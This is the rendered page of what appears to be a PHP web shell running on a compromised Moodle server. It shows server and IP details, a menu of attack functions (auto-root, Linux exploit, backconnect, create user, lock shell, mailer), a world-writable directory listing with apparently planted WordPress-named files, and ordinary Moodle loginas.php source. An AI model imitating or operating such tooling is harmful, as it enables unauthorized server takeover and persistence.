Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
course /
[ HOME SHELL ]
Name
Size
Permission
Action
ajax
[ DIR ]
drwxrwxrwx
amd
[ DIR ]
drwxrwxrwx
classes
[ DIR ]
drwxrwxrwx
format
[ DIR ]
drwxrwxrwx
report
[ DIR ]
drwxrwxrwx
templates
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
.htaccess
197
B
-r--r--r--
admin.php
1.75
KB
-rwxrwxrwx
bulkcompletion.php
2.74
KB
-rwxrwxrwx
category.ajax.php
1.24
KB
-rwxrwxrwx
changenumsections.php
4.23
KB
-rwxrwxrwx
completion.js
3.83
KB
-rwxrwxrwx
completion.php
5.81
KB
-rwxrwxrwx
completion_form.php
13.67
KB
-rwxrwxrwx
customfield.php
1.3
KB
-rwxrwxrwx
defaultcompletion.php
2.62
KB
-rwxrwxrwx
delete.php
4.06
KB
-rwxrwxrwx
dndupload.js
41.56
KB
-rwxrwxrwx
dndupload.php
1.54
KB
-rwxrwxrwx
dnduploadlib.php
25.66
KB
-rwxrwxrwx
edit.php
10.23
KB
-rwxrwxrwx
edit_form.php
21.75
KB
-rwxrwxrwx
editbulkcompletion.php
2.61
KB
-rwxrwxrwx
editcategory.php
3.84
KB
-rwxrwxrwx
editdefaultcompletion.php
2.55
KB
-rwxrwxrwx
editsection.php
5.81
KB
-rwxrwxrwx
editsection_form.php
5.01
KB
-rwxrwxrwx
enrol.php
1021
B
-rwxrwxrwx
externallib.php
196.96
KB
-rwxrwxrwx
index.php
2.67
KB
-rwxrwxrwx
info.php
2.68
KB
-rwxrwxrwx
jumpto.php
1.23
KB
-rwxrwxrwx
lib.php
194.21
KB
-rwxrwxrwx
loginas.php
2.86
KB
-rwxrwxrwx
management.php
23.09
KB
-rwxrwxrwx
mod.php
11.25
KB
-rwxrwxrwx
modduplicate.php
1.89
KB
-rwxrwxrwx
modedit.php
7.54
KB
-rwxrwxrwx
modlib.php
34.93
KB
-rwxrwxrwx
moodleform_mod.php
55.72
KB
-rwxrwxrwx
pending.php
6.48
KB
-rwxrwxrwx
recent.php
8.28
KB
-rwxrwxrwx
recent_form.php
6.82
KB
-rwxrwxrwx
recommendations.php
1.98
KB
-rwxrwxrwx
renderer.php
120.42
KB
-rwxrwxrwx
report.php
1.34
KB
-rwxrwxrwx
request.php
3.21
KB
-rwxrwxrwx
request_form.php
6.52
KB
-rwxrwxrwx
reset.php
3.54
KB
-rwxrwxrwx
reset_form.php
8.97
KB
-rwxrwxrwx
resources.php
5.01
KB
-rwxrwxrwx
rest.php
3.36
KB
-rwxrwxrwx
scales.php
4.96
KB
-rwxrwxrwx
search.php
4.17
KB
-rwxrwxrwx
switchrole.php
3.97
KB
-rwxrwxrwx
switchrole_form.php
3.19
KB
-rwxrwxrwx
tags.php
2.33
KB
-rwxrwxrwx
tags_form.php
1.51
KB
-rwxrwxrwx
togglecompletion.php
6.37
KB
-rwxrwxrwx
upgrade.txt
4.78
KB
-rwxrwxrwx
user.php
7.87
KB
-rwxrwxrwx
view.php
12.29
KB
-rwxrwxrwx
wp-blog-header.php
2.74
KB
-r--r--r--
wp-cron.php
2.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : loginas.php
<?php // Allows a teacher/admin to login as another user (in stealth mode). require_once('../config.php'); require_once('lib.php'); $id = optional_param('id', SITEID, PARAM_INT); // course id $redirect = optional_param('redirect', 0, PARAM_BOOL); $url = new moodle_url('/course/loginas.php', array('id'=>$id)); $PAGE->set_url($url); // Reset user back to their real self if needed, for security reasons you need to log out and log in again. if (\core\session\manager::is_loggedinas()) { require_sesskey(); require_logout(); // We can not set wanted URL here because the session is closed. redirect(new moodle_url($url, array('redirect'=>1))); } if ($redirect) { if ($id and $id != SITEID) { $SESSION->wantsurl = "$CFG->wwwroot/course/view.php?id=".$id; } else { $SESSION->wantsurl = "$CFG->wwwroot/"; } redirect(get_login_url()); } // Try log in as this user. $userid = required_param('user', PARAM_INT); require_sesskey(); $course = $DB->get_record('course', array('id'=>$id), '*', MUST_EXIST); // User must be logged in. $systemcontext = context_system::instance(); $coursecontext = context_course::instance($course->id); require_login(); if (has_capability('moodle/user:loginas', $systemcontext)) { if (is_siteadmin($userid)) { print_error('nologinas'); } $context = $systemcontext; $PAGE->set_context($context); } else { require_login($course); require_capability('moodle/user:loginas', $coursecontext); if (is_siteadmin($userid)) { print_error('nologinas'); } if (!is_enrolled($coursecontext, $userid)) { print_error('usernotincourse'); } $context = $coursecontext; // Check if course has SEPARATEGROUPS and user is part of that group. if (groups_get_course_groupmode($course) == SEPARATEGROUPS && !has_capability('moodle/site:accessallgroups', $context)) { $samegroup = false; if ($groups = groups_get_all_groups($course->id, $USER->id)) { foreach ($groups as $group) { if (groups_is_member($group->id, $userid)) { $samegroup = true; break; } } } if (!$samegroup) { print_error('nologinas'); } } } // Login as this user and return to course home page. \core\session\manager::loginas($userid, $context); // Add a notification to let the logged in as user know that all content will be force cleaned // while in this session. \core\notification::info(get_string('sessionforceclean', 'core')); $newfullname = fullname($USER, true); $strloginas = get_string('loginas'); $strloggedinas = get_string('loggedinas', '', $newfullname); $PAGE->set_title($strloggedinas); $PAGE->set_heading($course->fullname); $PAGE->navbar->add($strloggedinas); notice($strloggedinas, "$CFG->wwwroot/course/view.php?id=$course->id");
Close